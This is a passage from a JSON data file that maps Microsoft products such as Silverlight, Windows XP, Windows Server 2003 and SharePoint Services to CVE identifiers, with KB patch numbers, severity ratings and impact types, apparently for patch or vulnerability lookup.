Execution"},{"cve":"CVE-2015-2460","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 Developer Runtime when installed on all supported releases of Microsoft Windows clients":[{"cve":"CVE-2017-0005","kb":"4013867","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 Developer Runtime when installed on all supported releases of Microsoft Windows servers":[{"cve":"CVE-2017-0005","kb":"4013867","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 when installed on Microsoft Windows (32-bit)":[{"cve":"CVE-2015-2433","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 when installed on all supported releases of Microsoft Windows clients":[{"cve":"CVE-2017-0005","kb":"4013867","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 when installed on all supported releases of Microsoft Windows servers":[{"cve":"CVE-2017-0005","kb":"4013867","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows 2000 Service Pack 4":[{"cve":"CVE-2008-0015","kb":"973354","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981350","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows Server 2003 Service Pack 1":[{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-5416","kb":"960082","severity":"Important","impact":"Remote Code Execution"}],"Microsoft Windows Server 2003 Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973354","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-5416","kb":"960082","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981350","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-1885","kb":"2229593","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3144","kb":"2443105","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418241","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518864","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5065","kb":"2914368","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0295","kb":"2901110","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4076","kb":"2989935","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4971","kb":"2993254","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"}],"Microsoft Windows Server 2003 for Itanium-based Systems Service Pack 1":[{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows Server 2003 for Itanium-based Systems Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981350","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-1885","kb":"2229593","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3144","kb":"2443105","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416447","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518864","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5065","kb":"2914368","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0295","kb":"2898856","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4076","kb":"2989935","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4971","kb":"2993254","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"}],"Microsoft Windows Server 2003 x64 Edition":[{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-5416","kb":"960082","severity":"Important","impact":"Remote Code Execution"}],"Microsoft Windows Server 2003 x64 Edition Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-5416","kb":"960082","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981350","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-1885","kb":"2229593","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3144","kb":"2443105","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416447","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518864","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5065","kb":"2914368","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0295","kb":"2898856","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4076","kb":"2989935","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4971","kb":"2993254","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"}],"Microsoft Windows SharePoint Services 3.0 Service Pack 1 (32-bit version)":[{"cve":"CVE-2010-0817","kb":"983444","severity":"Important","impact":"Elevation of Privilege"}],"Microsoft Windows SharePoint Services 3.0 Service Pack 1 (64-bit version)":[{"cve":"CVE-2010-0817","kb":"983444","severity":"Important","impact":"Elevation of Privilege"}],"Microsoft Windows SharePoint Services 3.0 Service Pack 2 (32-bit version)":[{"cve":"CVE-2010-0817","kb":"983444","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-3324","kb":"2345304","severity":"Important","impact":"Information Disclosure"}],"Microsoft Windows SharePoint Services 3.0 Service Pack 2 (64-bit version)":[{"cve":"CVE-2010-0817","kb":"983444","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-3324","kb":"2345304","severity":"Important","impact":"Information Disclosure"}],"Microsoft Windows XP":[{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows XP Professional x64 Edition":[{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows XP Professional x64 Edition Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973354","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981350","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-1885","kb":"2229593","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3144","kb":"2443105","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416447","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518864","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5065","kb":"2914368","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0295","kb":"2901110","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows XP Service Pack 1":[{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows XP Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973540","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981350","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-1885","kb":"2229593","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows XP Service Pack 3":[{"cve":"CVE-2008-0015","kb":"973540","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-1885","kb":"2229593","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3138","kb":"2661637","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3144","kb":"2443105","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416447","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518864","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5065","kb":"2914368","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0295","kb":"2901110","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft XML Core Services 3.0 on Windows 10 Version 1511 for 32-bit Systems":[{"cve":"CVE-2017-0022","kb":"4013198","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 10 Version 1511 for x64-based Systems":[{"cve":"CVE-2017-0022","kb":"4013198","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information 